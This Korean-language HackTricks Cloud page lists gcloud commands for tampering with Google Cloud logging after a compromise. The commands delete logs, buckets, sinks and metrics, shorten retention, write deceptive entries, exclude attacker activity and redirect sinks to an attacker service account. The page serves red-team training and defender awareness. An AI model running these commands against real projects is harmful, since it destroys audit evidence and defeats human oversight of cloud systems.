GCP - Logging Post Exploitation

Reading time: 4 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

구독 계획 확인하기!
**💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

기본 정보

자세한 정보는 다음을 확인하세요:

GCP - Logging Enum

모니터링을 방해하는 다른 방법은 다음을 확인하세요:

GCP - Monitoring Post Exploitation

기본 로깅

기본적으로 읽기 작업을 수행한다고 해서 잡히지 않습니다. 자세한 정보는 Logging Enum 섹션을 확인하세요.

예외 주체 추가

https://console.cloud.google.com/iam-admin/audit/allservices 및 https://console.cloud.google.com/iam-admin/audit에서 로그를 생성하지 않도록 주체를 추가할 수 있습니다. 공격자는 이를 악용하여 잡히지 않도록 할 수 있습니다.

로그 읽기 - `logging.logEntries.list`

bash

# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json

# Everything from a timestamp
gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=json

# Use these options to indicate a different bucket or view to use: --bucket=_Required  --view=_Default

`logging.logs.delete`

bash

# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete <log-name>

로그 작성 - `logging.logEntries.create`

bash

# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR

`logging.buckets.update`

bash

# Set retention period to 1 day (_Required has a fixed one of 400days)

gcloud logging buckets update bucketlog --location=<location> --description="New description" --retention-days=1

`logging.buckets.delete`

bash

# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=<location>

`logging.links.delete`

bash

# Delete link
gcloud logging links delete <link-id> --bucket <bucket> --location <location>

`logging.views.delete`

bash

# Delete a logging view to remove access to anyone using it
gcloud logging views delete <view-id> --bucket=<bucket> --location=global

`logging.views.update`

bash

# Update a logging view to hide data
gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"

`logging.logMetrics.update`

bash

# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID

`logging.logMetrics.delete`

bash

# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete <metric-name>

`logging.sinks.delete`

bash

# Delete sink - logging.sinks.delete
gcloud logging sinks delete <sink-name>

`logging.sinks.update`

bash

# Disable sink - logging.sinks.update
gcloud logging sinks update <sink-name> --disabled

# Createa filter to exclude attackers logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --add-exclusion="name=exclude-info-logs,filter=severity<INFO"

# Change where the sink is storing the data - logging.sinks.update
gcloud logging sinks update <sink-name> new-destination

# Change the service account to one withuot permissions to write in the destination - logging.sinks.update
gcloud logging sinks update SINK_NAME --custom-writer-identity=attacker-service-account-email --project=PROJECT_ID

# Remove explusions to try to overload with logs - logging.sinks.update
gcloud logging sinks update SINK_NAME --clear-exclusions

# If the sink exports to BigQuery, an attacker might enable or disable the use of partitioned tables, potentially leading to inefficient querying and higher costs. - logging.sinks.update
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables

tip

HackTricks 지원하기

구독 계획 확인하기!
**💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.

HackTricks Cloud